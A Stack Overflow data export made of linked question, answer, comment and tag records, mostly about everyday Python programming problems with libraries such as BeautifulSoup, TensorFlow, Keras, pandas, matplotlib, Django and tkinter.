has text: Did you take a look at your previous question?

http://stackoverflow.com/a/49506699
answers question: http://stackoverflow.com/q/49502679
has body: As the tags you want don't have any class, and the one's you don't want have the following tag: &lt;tr class="thead"&gt; you can simply use this to get all the rows you want: table_rows = soup.find('table', id='passing').find_all('tr', class_=None)[1:] Using class_=None will skip all the tags that have any class name.
upvote count: 2
downvote count: 0
type: Answer
score: 2
accepted answer of: http://stackoverflow.com/q/49502679
type: AcceptedAnswer

http://stackoverflow.com/comment/85949914
score: 0
type: Comment
has text: I don't know `svgwrite`, but have you checked the result, whether it is actually including the respective SVG code or some rasterized version of it?
comment on: http://stackoverflow.com/q/49473708
type: QuestionComment

http://stackoverflow.com/q/49591627
accepted answer: http://stackoverflow.com/a/49591751
tagged with: python
has answer: http://stackoverflow.com/a/49591751
favorite count: 0
score: 2
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/37112738
type: Question
tagged with: sympy
has body: Why does the following return False? import sympy as sp x = sp.Symbol('x') y = sp.Symbol('y') sp.log(x*y) == sp.log(x) + sp.log(y)
has title: Why doesn't SymPy understand log product
upvote count: 2
downvote count: 0
answer count: 1

http://stackoverflow.com/comment/86030296
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49512644
has text: @DanielRoseman question edited. Please see now
type: Comment

http://stackoverflow.com/comment/86191574
has text: @smci: The terminology is not mine, it's set by the United States Geological Survey in their software. I'm using their terms (points/measures) so's not to have different terms in different software.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49582936
type: Comment

http://stackoverflow.com/q/49557761
score: 2
upvote count: 2
has title: How to make RNN with same input as CNN?
has answer: http://stackoverflow.com/a/49573241
answer count: 1
tagged with: neural-network
downvote count: 0
tagged with: python
tagged with: keras
favorite count: 0
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/46123306
has body: I have a working cnn with text my X_train's shape is (39971, 10000) , y_train: (39971, 4) max_words = 10000 model = Sequential() model.add(Dense(512, input_shape=(max_words,), activation='relu')) model.add(Dropout(0.5)) model.add(Dense(256, activation='sigmoid')) model.add(Dropout(0.5)) model.add(Dense(4, activation='softmax')) model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy']) this works so far. And this his is how I'm trying to make the RNN: model = Sequential() model.add(Embedding(max_words, 128)) model.add(LSTM(64, return_sequences=True, dropout=0.5, recurrent_dropout=0.5)) model.add(Dense(4, activation='softmax')) model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy']) I can compile the model but when I try to run model.fit with my training data i get an error: ValueError: Error when checking target: expected dense_42 to have 3 dimensions, but got array with shape (39971, 4) What does this mean? How could I fix this? As this suggest I might need to add input_shape but I'm not sure with what values.
type: Question
accepted answer: http://stackoverflow.com/a/49573241

http://stackoverflow.com/q/49569342
has comment: http://stackoverflow.com/comment/86150399
has answer: http://stackoverflow.com/a/49571161
has comment: http://stackoverflow.com/comment/86151380
tagged with: odoo-10
tagged with: odoo
has comment: http://stackoverflow.com/comment/86151513
score: 0
has body: I am new to Odoo and i am using Odoo v10. The client asked me to create a Salesperson / Salesman so the system should look like suppliers->Inventory->salesman->customers I want the salesman to take products from inventory and but them in his account , and he is the one how can sell them to customers and clients, and i can create many of accounts for the salesman . Any Idea please ? can i find any plugin to help me ,Thanks in advance .
tagged with: http://stackoverflow.com/tag/xml
has answer: http://stackoverflow.com/a/49572067
type: Question
tagged with: configuration
answer count: 2
tagged with: python
type: UnansweredQuestion
has title: How to create salesman in Odoo10

http://stackoverflow.com/q/49493257
has comment: http://stackoverflow.com/comment/85990024
has title: How to make a conversation without required reponses
favorite count: 0
type: Question
tagged with: python-3.x
has body: I want to write a code that can search for specific key words in the user input. I have found areas of this where you set a variable to these keywords and it finds where one of them is and if one of them is it prints a function. hi = ['hi', 'hello', 'Hi', 'Hello', 'sup', 'Sup', 'howdy', 'Howdy', 'hey', 'Hey'] bye = ['bye', 'Bye', 'Goodbye', 'goodbye', 'Power Down', 'power down', 'Power Off', 'power off'] shut_down = 0 while shut_down &lt; 1: user_input = input("Input: ") for element in user_input: if element in hi: import random greeting = random.sample(['Hello there.', 'Howdy partner', 'It is nice to talk to you.', 'Hi friend.', 'Sup mah human!'], 1) print (greeting) elif element in bye and not hi: import random farewell = random.sample(['Goodbye friend.', 'Goodbye', 'Farewell', 'See you later', 'Bye bud', 'Thanks for talking with me.'], 1) print(farewell) shut_down = int(shut_down) + 1 I am planning on adding more to the key words to allow for even more responses to eventually develop a conversation, but this system doesn't run properly as is, it continues to print input but it doesn't print out the responses or follow through.
answer count: 0
downvote count: 0
duplicate of: http://stackoverflow.com/q/15112125
type: UnansweredQuestion
upvote count: 1
has comment: http://stackoverflow.com/comment/86002224
linked to: http://stackoverflow.com/q/15112125
has comment: http://stackoverflow.com/comment/85990228
score: 1
tagged with: python

http://stackoverflow.com/comment/85960744
has text: I am afraid that this is the type of approach we call "over-engeneering". As result, you will end up with the code that is universal for no real benefits, hard to understand and complicated for every single simple task.
score: 0
comment on: http://stackoverflow.com/a/49477806
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/86395738
type: Comment
comment on: http://stackoverflow.com/a/49555750
score: 0
type: AnswerComment
has text: @pitto...I got the issue by checking eventdriver log.

http://stackoverflow.com/a/49507694
type: Answer
score: 6
upvote count: 6
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49491942
downvote count: 0
answers question: http://stackoverflow.com/q/49491942
has body: You can add items to legend as shown in the (now removed) duplicate. Note that to have no color in the legend itself you must set color="none", e.g empty_patch = mpatches.Patch(color='none', label='Extra label') plt.legend(handles=[empty_patch]) In order to have this, as well as your existing legend entries, you can get a list of the existing legend handles and labels, add the extra ones to it, then plot the legend: import numpy as np import matplotlib.pyplot as plt import matplotlib.patches as mpatches x = np.linspace(0, 2*np.pi, 101) y = np.sin(x) plt.plot(x, y, color='r', label='y = sin(x)') handles, labels = plt.gca().get_legend_handles_labels() # get existing handles and labels empty_patch = mpatches.Patch(color='none', label='Extra label') # create a patch with no color handles.append(empty_patch) # add new patches and labels to list labels.append("Extra label") plt.legend(handles, labels) # apply new handles and labels to plot plt.show() Which gives:

http://stackoverflow.com/a/49454073
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49454011
has comment: http://stackoverflow.com/comment/85911266
has comment: http://stackoverflow.com/comment/116565133
has body: Just use a list comprehension. resultSet = soup.find_all("div", attrs = {"class": "tp-title"}) stats = [ (i.contents[0], i.contents[1].text) for i in resultSet ] Or, a for loop. stats = [] for i in resultSet: stats.append(i.contents[0], i.contents[1].text) print(stats) [ ('40 Yard Dash', '4.44 Secs'), ('3 Cone Drill', '6.97 secs'), ('Broad Jump', '118.0 inches'), ('20 Yard Shuttle', '4.18 secs'), ('Vertical Jump', '34.5 inches') ]
upvote count: 10
score: 10
type: Answer
has comment: http://stackoverflow.com/comment/85911352
has comment: http://stackoverflow.com/comment/85911166
has comment: http://stackoverflow.com/comment/116563115
answers question: http://stackoverflow.com/q/49454011
downvote count: 0

http://stackoverflow.com/comment/112442674
type: Comment
comment on: http://stackoverflow.com/a/49506794
type: AnswerComment
has text: I liked this idea but how to retrieve them in part.. I was reading the documentation but got more doubts than anything..
score: 0

http://stackoverflow.com/q/49561198
has comment: http://stackoverflow.com/comment/86130805
type: UnansweredQuestion
has body: I'm trying to allow custom monitoring by allowing custom system calls in a configuration file. It's a simple .ini file, but I'm having issues with the results I'm getting. def sys_command(self, command): command_result = subprocess.check_output(["stat -c \"%s\" ./endpoint.py"], shell=True) return command_result Above works fine. def sys_command(self, command): command_result = subprocess.check_output([command], shell=True) return command_result Above is what doesn't work when command is parsed from: [directory] file_size = "stat -c \"%s\" {file}" Other functions handle the parsing, mapping, and string replacement for {file}. I've checked the command being passed in and it is valid. Here is the error I am getting. "stat -c \"%s\" ./endpoint.py" /bin/sh: stat -c "%s" ./endpoint.py: No such file or directory Traceback (most recent call last): File "monitor.py", line 147, in &lt;module&gt; print(test.custom_sys_command(test_focus_dict, "directory")) File "monitor.py", line 63, in custom_sys_command cmd_results = self.sys_command(parsed_cmd) File "monitor.py", line 70, in sys_command command_result = subprocess.check_output([command], shell=True) File "/usr/lib64/python2.7/subprocess.py", line 575, in check_output raise CalledProcessError(retcode, cmd, output=output) subprocess.CalledProcessError: Command '['"stat -c \\"%s\\" ./endpoint.py"']' returned non-zero exit status 127 The first line is the command that was parsed out and passed in. subprocess.CalledProcessError: Command '['"stat -c "%s" ./endpoint.py"']' returned non-zero exit status 127 Above is the error I get if I remove the escape characters in the configuration file.
tagged with: sys
tagged with: python
has comment: http://stackoverflow.com/comment/86130633
has answer: http://stackoverflow.com/a/49561475
has comment: http://stackoverflow.com/comment/86130693
score: 0
tagged with: linux
tagged with: subprocess
has comment: http://stackoverflow.com/comment/86130950
answer count: 1
has comment: http://stackoverflow.com/comment/86130761
has title: Sys Call Fails in Python
type: Question
has comment: http://stackoverflow.com/comment/86130567
has comment: http://stackoverflow.com/comment/86130701

http://stackoverflow.com/comment/86025806
type: Comment
type: QuestionComment
has text: you could pick a padding letter outside the existing letters of the message, but if there's no padding at all because your message size is a multiple of 16 you're back to square one.
comment on: http://stackoverflow.com/q/49510574
score: 1

http://stackoverflow.com/comment/86264424
score: 0
type: AnswerComment
has text: do you have any idea about this ? i am stuck here .
comment on: http://stackoverflow.com/a/49511927
type: Comment

http://stackoverflow.com/comment/86006981
type: AnswerComment
has text: @AntonvBR,can you give me ur mail adress?
score: 0
comment on: http://stackoverflow.com/a/49498865
type: Comment

http://stackoverflow.com/q/49500495
has comment: http://stackoverflow.com/comment/87460000
has comment: http://stackoverflow.com/comment/87480325
score: 8
has comment: http://stackoverflow.com/comment/87226911
downvote count: 0
has body: I am trying to run a DNNClassifier with TensorFlow on some log data that contains a mix of categorical and numeric data. I have created feature columns to specify and bucketize/hash the data for tensorflow. When I run the code I receive the 'Unable to get element as bytes' internal error. Note: I did not want to drop the Nan values as stated in this article so I converted them to 0 using this code train = train.fillna(0, axis=0) so I am not sure why I am still gettting this error. If I dropna then it works but I do not want to drop the Nan's as I feel they are needed for the model to train. def create_train_input_fn(): return tf.estimator.inputs.pandas_input_fn( x=train, y=train_label, batch_size=32, num_epochs=None, shuffle=True) def create_test_input_fn(): return tf.estimator.inputs.pandas_input_fn( x=valid, y=valid_label, num_epochs=1, shuffle=False) feature_columns = [] end_time = tf.feature_column.embedding_column(tf.feature_column.categorical_column_with_hash_bucket('end_time', 1000), 10) feature_columns.append(end_time) device = tf.feature_column.embedding_column(tf.feature_column.categorical_column_with_hash_bucket('device', 1000), 10) feature_columns.append(device) device_os = tf.feature_column.embedding_column(tf.feature_column.categorical_column_with_hash_bucket('device_os', 1000), 10) feature_columns.append(device_os) device_os_version = tf.feature_column.embedding_column(tf.feature_column.categorical_column_with_hash_bucket('device_os_version', 1000), 10) feature_columns.append(device_os_version) Latency = tf.feature_column.bucketized_column( tf.feature_column.numeric_column('Latency'), boundaries=[.000000, .000010, .000100, .001000, .010000, .100000]) feature_columns.append(Latency) Megacycles = tf.feature_column.bucketized_column( tf.feature_column.numeric_column('Megacycles'), boundaries=[0, 50, 100, 200, 300]) feature_columns.append(Megacycles) Cost = tf.feature_column.bucketized_column( tf.feature_column.numeric_column('Cost'), boundaries=[0.000001…
answer count: 1
tagged with: tensorflow
favorite count: 0
has comment: http://stackoverflow.com/comment/88495424
upvote count: 8
type: Question
has comment: http://stackoverflow.com/comment/87476144
has answer: http://stackoverflow.com/a/56889152
has title: TensorFlow InternalError: Unable to get element as bytes
has comment: http://stackoverflow.com/comment/101953146
tagged with: python
linked to: http://stackoverflow.com/q/45974009
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/102013847
tagged with: jupyter-notebook

http://stackoverflow.com/q/49575942
has answer: http://stackoverflow.com/a/49576039
has answer: http://stackoverflow.com/a/49576042
type: AnsweredQuestion
has body: I'm trying to plot .nii data using nibabel and nilearn. I'm using python 3.5 and installed both packages successfully. But, when I'm trying to import the module, it's returning - ImportError: No module named 'nilearn'. What am I missing here?
possible better answer: http://stackoverflow.com/a/49576074
downvote count: 0
has title: ImportError: No module named 'nilearn'
score: 1
upvote count: 1
has answer: http://stackoverflow.com/a/49576074
tagged with: nibabel
favorite count: 0
tagged with: nilearn
answer count: 4
type: Question
has answer: http://stackoverflow.com/a/54228217
tagged with: python
accepted answer: http://stackoverflow.com/a/49576042

http://stackoverflow.com/comment/86334398
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49584705
has text: Sure @Stev. There are 3 columns to my dataset (2 input columns and 1 binary output label column). Data in the 2 input columns are purely numeric without any special characters. The output label column is also numeric and is either -1 or 1. The dataset is sorted by the output column so all the rows with -1 are on top and the rows with 1 are underneath. When I split the data into training and testing data for the individual ML models I used the 'train_test_split(whole_data_input, whole_data_output, test_size=0.2, stratify=whole_data_output)' function which I assume is randomized.

http://stackoverflow.com/comment/86366207
score: 0
type: QuestionComment
has text: The order isn't important, the important is have in the output tuples of N registers, the question is transform for example, a PCollection in a List of PCollections of N rows.
type: Comment
comment on: http://stackoverflow.com/q/49495336

http://stackoverflow.com/a/49497828
downvote count: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49497542
accepted answer of: http://stackoverflow.com/q/49497542
type: Answer
upvote count: 2
score: 2
has body: It's because ae is a Response object. When you call ae.json() it returns a JSON representation of that response object, but trying to serialize it manually will throw an error because the json module has no idea how to turn a Response object into valid JSON. You should be calling something like print json.dumps(ae.json()) which will get the JSON representation of the Response object using its own internal logic (the .json() method), and then print the string version of it.

http://stackoverflow.com/q/49531615
tagged with: list
tagged with: tkinter
tagged with: radio-button
has comment: http://stackoverflow.com/comment/86077502
has comment: http://stackoverflow.com/comment/86069923
answer count: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/86072476
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86072689
tagged with: python-3.x
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86077578
has title: Python tkinter list stores correct value from only 1 group of radiobuttons, next groups delete complete list
has comment: http://stackoverflow.com/comment/86078435
tagged with: python
has comment: http://stackoverflow.com/comment/86072297
has comment: http://stackoverflow.com/comment/86077614
has answer: http://stackoverflow.com/a/49550347
has body: When i click an radio button it gives me the correct value, but when I select the next radio button from another group they delete my first value from the dictionary Here's the code: import tkinter from tkinter import * class Main_frame(): def __init__(self): self._title = 'Radiobutton Test' self._resize = False self.set_mainframe_size_for_geometry(350, 200) self.create_mainframe() def create_mainframe(self): self.mainframe = Tk() self.mainframe.title(self._title) self.mainframe.geometry(self.get_mainframe_size_for_geometry()) self.mainframe.resizable(self._resize, self._resize) def set_mainframe_size_for_geometry(self, mainframe_width, mainframe_height): self._mainframe_size_for_geometry = str(mainframe_width) + 'x' + str(mainframe_height) def get_mainframe_size_for_geometry(self): return self._mainframe_size_for_geometry class Create_Radiobutton(): def __init__(self,frame, name, positionx, positiony, group, value, buttons): self.group = None self._set_frame_to_insert_radiobutton = frame self._radiobutton_label = name self._radiobutton_horizontal_position = positionx self._radiobutton_vertical_position = positiony self._radiobutton_group = group self._radiobutton_value = value self.get_intvar() self.create_radiobutton() self._radiobutton_controller = Radiobutton_controller(buttons) def create_radiobutton(self): self.set_radiobutton(Radiobutton(self._set_frame_to_insert_radiobutton, text=self._radiobutton_label, variable=self.group, value=self._radiobutton_value, command= lambda : self._radiobutton_controller.main_method(self.group.get()))) self.get_radiobutton().place(x=self._radiobutton_horizontal_position, y=self._radiobutton_vertical_position) def set_radiobutton(self, radiobutton): self._radiobutton = radiobutton def get_radiobutton(self): return self._radiobutton # here is the method to set the IntVar() for each group def get_intvar(self): self.group = self._radiobutton_group if self._radiobutton_group == 1: self.group = IntVar(value=1) elif self._radiobutton_…
score: 0
has comment: http://stackoverflow.com/comment/86077034

http://stackoverflow.com/q/49573112
tagged with: django
has title: django model ForeignKey relation
has answer: http://stackoverflow.com/a/49573274
has comment: http://stackoverflow.com/comment/86155986
has comment: http://stackoverflow.com/comment/86155315
has comment: http://stackoverflow.com/comment/86155214
favorite count: 0
type: Question
has body: I have 3 models User, Lesson, Company class User(models.Model): pass class Company(models.Model): pass class Lesson(models.Model): user = models.ForeignKey(User) company = models.ForeignKey(Company) How can I add one lesson for two companies
has answer: http://stackoverflow.com/a/49573292
has comment: http://stackoverflow.com/comment/86155296
has comment: http://stackoverflow.com/comment/86155477
tagged with: django-models
tagged with: python
has comment: http://stackoverflow.com/comment/86155034
has comment: http://stackoverflow.com/comment/86155186
score: 2
answer count: 3
upvote count: 2
has answer: http://stackoverflow.com/a/49573416
type: UnansweredQuestion
downvote count: 0

http://stackoverflow.com/comment/86170399
type: QuestionComment
comment on: http://stackoverflow.com/q/49580953
has text: @StephenRauch. So `pics[0][0]` does not yet exist, even though I declared `pics[[]]` ? If this is the case, then what is `pics[[]]`? If this is the case, then using somehting like `pics.append(someOtherArrayContainingThePageLinks)`, is what your attached link is suggesting?
type: Comment
score: 0

http://stackoverflow.com/comment/86091811
type: Comment
type: AnswerComment
has text: @jdehesa at the beginning of that function it tries to establish if it's `is_aggregator `, then when it comes to the main body it then checks if it's a `dict` otherwise it executes the alternate branch. The reason is that the data may need to be coerced to be pandas friendly if the calling func is a `dict`, here it fails on the `is_list_like` in the alternate branch, so this returns `None` and it get's handled higher up but it doesn't really handle it as expected. Also the links point to the current released version, not sure if pointing at master is helpful for future readers
comment on: http://stackoverflow.com/a/49539073
score: 0

http://stackoverflow.com/comment/86099906
has text: @juanpa.arrivillaga Ah, so instead of `return a, b`, I would end up with `return var_dict['a'], var_dict['b']`?
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49546164
type: Comment

http://stackoverflow.com/comment/86108267
comment on: http://stackoverflow.com/a/49549933
has text: As I understand, requests work with URLs right? I would like to work on the .html file instead.
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/q/49507868
has answer: http://stackoverflow.com/a/49507953
has comment: http://stackoverflow.com/comment/86019856
has comment: http://stackoverflow.com/comment/86019950
has comment: http://stackoverflow.com/comment/86020567
favorite count: 0
type: Question
score: 3
has comment: http://stackoverflow.com/comment/86020165
has title: Is repeated dictionary access optimized in Python
has comment: http://stackoverflow.com/comment/86020231
has answer: http://stackoverflow.com/a/49508877
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/86020416
upvote count: 3
has comment: http://stackoverflow.com/comment/86020356
has answer: http://stackoverflow.com/a/49508190
has comment: http://stackoverflow.com/comment/86019887
answer count: 3
downvote count: 0
has body: Consider the following Python code, that iterates over an array of words and counts them into the dictionary a['words'] a['words'] = {} for word in words: if word not in a['words']: a['words'][word] = 0 a['words'][word] += 1 The question is, whether the repeated access to a['words'] is optimized in Python, in a way that the reference of a['words'] is automatically saved somewhere until changed, OR should I write myself the "optimized" code, this way: a['words'] = {} words_dict = a['words'] for word in words: if word not in words_dict: words_dict[word] = 0 words_dict[word] += 1
has comment: http://stackoverflow.com/comment/86020161
has comment: http://stackoverflow.com/comment/86019993

http://stackoverflow.com/comment/85976313
score: 0
comment on: http://stackoverflow.com/a/49483620
type: Comment
type: AnswerComment
has text: I made an edit adding more information.

http://stackoverflow.com/a/49512583
answers question: http://stackoverflow.com/q/49512528
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: You can use str.join Ex: print(" ".join([token.dep_ for token in doc])) #List comprehension
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/86029719
accepted answer of: http://stackoverflow.com/q/49512528
has comment: http://stackoverflow.com/comment/86029863

modbus
tags question: http://stackoverflow.com/q/49504336
tags question: http://stackoverflow.com/q/49479516
tags question: http://stackoverflow.com/q/49478624
tag name: modbus
type: Tag
tags question: http://stackoverflow.com/q/49483081

http://stackoverflow.com/q/49504358
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86188547
has comment: http://stackoverflow.com/comment/86193528
has comment: http://stackoverflow.com/comment/86196749
tagged with: python
tagged with: python-appium
score: 0
has comment: http://stackoverflow.com/comment/86203184
answer count: 0
has comment: http://stackoverflow.com/comment/86665360
tagged with: aws-device-farm
has title: Parsing Failure in Device Farm
type: Question
tagged with: appium
has body: I am attempting to upload a test script profiling device performance to Device Farm using Appium Python, but am having great trouble getting tests to run. I am mainly running into errors with the wheels being loaded, as Device Farm only takes linux_x86_64 and -none-all endings. I am packaging the test scripts on a Ubuntu virtual machine, so all downloaded wheels should be in the correct format. However, many of the wheels, such as numpy, take -manylinux1_x86_64, instead of linux_x86_64. Should this still be accepted by Device Farm? It won't even get past importing the test script unless I rename all of the non-universal wheels to have a "-none-all.whl" at the end. However, even if I do this, it throws a parsing error with the output below. Any thoughts on what could be causing this error would be much appreciated! Parsing Error: Tried to install test dependency wheels by using the dependencies packages in the 'wheelhouse' directory, but failed. There are missing wheel dependencies in the 'wheelhouse' directory. Please make sure 'wheelhouse' directory has all the dependencies specified in 'requirements.txt' file. See the information below for more details. '/tmp/scratchCdQ6f1.scratch/tmpI_jJ54/bin/pip install --use-wheel --no-index --find-links /tmp/scratchCdQ6f1.scratch/test-packageV9qjSS/wheelhouse --requirement /tmp/scratchCdQ6f1.scratch/test-packageV9qjSS/requirements.txt' failed. Ignoring indexes: https://pypi.python.org/simple Collecting Appium-Python-Client==0.26 (from -r /tmp/scratchCdQ6f1.scratch/test-packageV9qjSS/requirements.txt (line 1)) Collecting attrs==17.4.0 (from -r /tmp/scratchCdQ6f1.scratch/test-packageV9qjSS/requirements.txt (line 2)) Collecting funcsigs==1.0.2 (from -r /tmp/scratchCdQ6f1.scratch/test-packageV9qjSS/requirements.txt (line 3)) Collecting linecache2==1.0.0 (from -r /tmp/scratchCdQ6f1.scratch/test-packageV9qjSS/requirements.txt (line 4)) Collecting more-itertools==4.1.0 (from -r /tmp/scratchCdQ6f1.scratch/test-packageV9qjSS/requireme…

http://stackoverflow.com/a/49448953
answers question: http://stackoverflow.com/q/49448729
type: Answer
score: 0
accepted answer of: http://stackoverflow.com/q/49448729
type: AcceptedAnswer
has body: Simplest way would be to use glob: import glob fnames = glob.glob('BGSM_VPAY*') To add a number i before the '.xml' extension: output_fname = fname[:-4] + '.' + str(i).zfill(3) + '.xml' Note that this currently also adds a dot before the number, e.g. 'BGSM_VPAY_D-001565_20180315-220009-049.001.xml'

http://stackoverflow.com/q/49467251
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49467537
tagged with: pandas-groupby
tagged with: pandas
tagged with: dataframe
tagged with: python
has body: Here is my input dataframe: df = pd.DataFrame({'Company':['A','B','C','D','E','F'],'Industry':['Metals','Metals','IT','IT','IT','banking'],'ROE':[10,9,5,14,1,9],'ROCE':[10,5,5,1,10,9],'Threshold':[1,1,2,2,2,1]});df Need output as follows: dfout = pd.DataFrame({'Company':['A','D','E','F'],'Industry':['Metals','IT','IT','banking'],'ROE':[10,14,1,9],'ROCE':[10,1,10,9],'Threshold':[1,2,2,1]});dfout Logic: To fetch rows with top 'n' ROE and ROCE per industry. N is 'Threshold' column in the dataframe. Appreciate your inputs on this. Thank you.
has title: Return top n rows based on threshold from pandas dataframe
type: Question
score: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/49467537

http://stackoverflow.com/q/49511471
has title: Minimization python function which is constant on small intervals
tagged with: python
has comment: http://stackoverflow.com/comment/86028878
has body: I want to minimize a convex function on an area with bounds and constraints, therefore I try to use scipy.optimize.minimize with the SLSQP option. However my function is only defined at discrete points. Linear interpolation does not seem like an option as computing my functions in all of its values would take way too much time. As a Minimal Working Example I have: from scipy.optimize import minimize import numpy as np f=lambda x : x**2 N=1000000 x_vals=np.sort(np.random.random(N))*2-1 y_vals=f(x_vals) def f_disc(x, x_vals, y_vals): return y_vals[np.where(x_vals&lt;x)[-1][-1]] print(minimize(f_disc, 0.5, method='SLSQP', bounds = [(-1,1)], args = (x_vals, y_vals))) which yields the following output: fun: 0.24999963136767756 jac: array([ 0.]) message: 'Optimization terminated successfully.' nfev: 3 nit: 1 njev: 1 status: 0 success: True x: array([ 0.5]) which we of course know to be false, but the definition of f_disc tricks the optimizer in believing that it is constant at the given index. For my problem I only have f_disc and do not have access to f. Moreover one call to f_disc can take as much as a minute.
tagged with: optimization
upvote count: 2
tagged with: numpy
type: AnsweredQuestion
score: 2
has comment: http://stackoverflow.com/comment/86028573
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/86027579
has comment: http://stackoverflow.com/comment/86028732
has answer: http://stackoverflow.com/a/49516010
accepted answer: http://stackoverflow.com/a/49516010
tagged with: scipy
tagged with: minimization
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86028118

http://stackoverflow.com/comment/86151229
comment on: http://stackoverflow.com/a/49570796
type: AnswerComment
has text: This doesn't write to console too, so I added `subprocess.call(cmd)`. Thank you for explaining a diffrence between `call`, `run` and `popen`.
type: Comment
score: 0

http://stackoverflow.com/comment/86130686
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49561190
has text: See also: http://scipy.github.io/old-wiki/pages/Cookbook/Matplotlib/ColormapTransformations

http://stackoverflow.com/q/49588382
answer count: 5
downvote count: 0
has body: This is the code used to convert data to TFRecord def _int64_feature(value): return tf.train.Feature(int64_list=tf.train.Int64List(value=[value])) def _bytes_feature(value): return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value])) def _floats_feature(value): return tf.train.Feature(float_list=tf.train.FloatList(value=value)) with tf.python_io.TFRecordWriter("train.tfrecords") as writer: for row in train_data: prices, label, pip = row[0],row[1],row[2] prices = np.asarray(prices).astype(np.float32) example = tf.train.Example(features=tf.train.Features(feature={ 'prices': _floats_feature(prices), 'label': _int64_feature(label[0]), 'pip': _floats_feature(pip) })) writer.write(example.SerializeToString()) Feature prices is an array of shape(1,288). It converted successfully! But when decoded the data using a parse function and Dataset API. def parse_func(serialized_data): keys_to_features = {'prices': tf.FixedLenFeature([], tf.float32), 'label': tf.FixedLenFeature([], tf.int64)} parsed_features = tf.parse_single_example(serialized_data, keys_to_features) return parsed_features['prices'],tf.one_hot(parsed_features['label'],2) It gave me the error C:\tf_jenkins\workspace\rel-win\M\windows-gpu\PY\36\tensorflow\core\framework\op_kernel.cc:1202] OP_REQUIRES failed at example_parsing_ops.cc:240 : Invalid argument: Key: prices. Can't parse serialized Example. 2018-03-31 15:37:11.443073: W C:\tf_jenkins\workspace\rel-win\M\windows-gpu\PY\36\tensorflow\core\framework\op_kernel.cc:1202] OP_REQUIRES failed at example_parsing_ops.cc:240 : Invalid argument: Key: prices. Can't parse serialized Example. 2018-03-31 15:37:11.443313: W C:\tf_jenkins\workspace\rel-win\M\windows-gpu\ raise type(e)(node_def, op, message) PY\36\tensortensorflow.python.framework.errors_impl.InvalidArgumentError: Key: prices. Can't parse serialized Example. [[Node: ParseSingleExample/ParseSingleExample = ParseSingleExample[Tdense=[DT_INT64, DT_FLOAT], dense_keys=["label", "prices"], dense_shapes=[[…
score: 4
tagged with: tensorflow
has answer: http://stackoverflow.com/a/49589593
favorite count: 0
has answer: http://stackoverflow.com/a/50103530
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49594327
accepted answer: http://stackoverflow.com/a/49594327
has answer: http://stackoverflow.com/a/54680502
tagged with: python
has title: How to convert Float array/list to TFRecord?
has answer: http://stackoverflow.com/a/53165162
possible better answer: http://stackoverflow.com/a/53165162
type: Question
upvote count: 4

http://stackoverflow.com/a/49582372
type: Answer
has body: putting # -*- coding: utf-8 -*- in the top line seems to solve the Problem
accepted answer of: http://stackoverflow.com/q/49522050
score: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49522050

http://stackoverflow.com/q/49533702
type: AnsweredQuestion
score: 0
answer count: 2
tagged with: breadth-first-search
has body: I am trying to implement Graph and bfs (breadth-first search) algoritm. I have this graph_object class: class Vertex: def __init__(self,id): self.id=id #just a character representing each node/vertex name e.g. 'a', 'b'... self.neighbors=[] '''list of adjacent vertices. we call them neighbors. d.neighbors=[b,c,g]. note that here we are talking about the Vertex objects b,c,g. Not their corresponding vertex IDS ('b', 'c' and 'g') ''' self.parent=None '''parent of a vertex depends on order of visit of the vertices in a graph. calling the function bfs() on above graph will assign a.parent=None, b.parent=a , c.parent=d, d.parent=b, g.parent=d ''' def __str__(self): return "{}:{}".format(self.id,self.get_neighbors()) # def get_neighbors(self): return [v.id for v in self.neighbors] def get_id(self): return self.id def get_parent(self): return self.parent def add_neigbor(self,v): self.neighbors.append(v) class Graph: def __init__(self): self.vertices={} self.num_vert=0 def get_vertex(self,v_id): if v_id not in self.get_vertices(): return None else: return [v for v in self.vertices if v.id==v_id].pop(0) #to understand what happens here, refer to dict_exercise.py def add_vertex(self,v_id): if v_id not in self.get_vertices(): new=Vertex(v_id) self.vertices[new]=new.neighbors def add_edge(self,v1_id,v2_id): if v1_id not in self.get_vertices(): self.add_vertex(v1_id) if v2_id not in self.get_vertices(): self.add_vertex(v2_id) #vertices with IDs v1_id and v2_id are now guaranteed to exist in graph, we get the corresponding vertex objects v1 and v2 v1=self.get_vertex(v1_id) v2=self.get_vertex(v2_id) if v2_id not in v1.get_neighbors(): v1.add_neigbor(v2) if v1_id not in v2.get_neighbors(): v2.add_neigbor(v1) def get_vertices(self): return [v.id for v in self.vertices.keys()] I also am using a test class which has bfs algoritm in it: from graph_object import * def bfs(g, s): explored, queue = [], [s] while queue: current_vertex = queue.pop(0) if current_vertex not in explored: explor…
accepted answer: http://stackoverflow.com/a/49534102
has answer: http://stackoverflow.com/a/49534102
type: Question
tagged with: graph-theory
has answer: http://stackoverflow.com/a/49534186
has comment: http://stackoverflow.com/comment/86073928
tagged with: python
has title: Python - Type Error: 'Graph' object is not subscriptable
possible better answer: http://stackoverflow.com/a/49534186
has comment: http://stackoverflow.com/comment/86073747

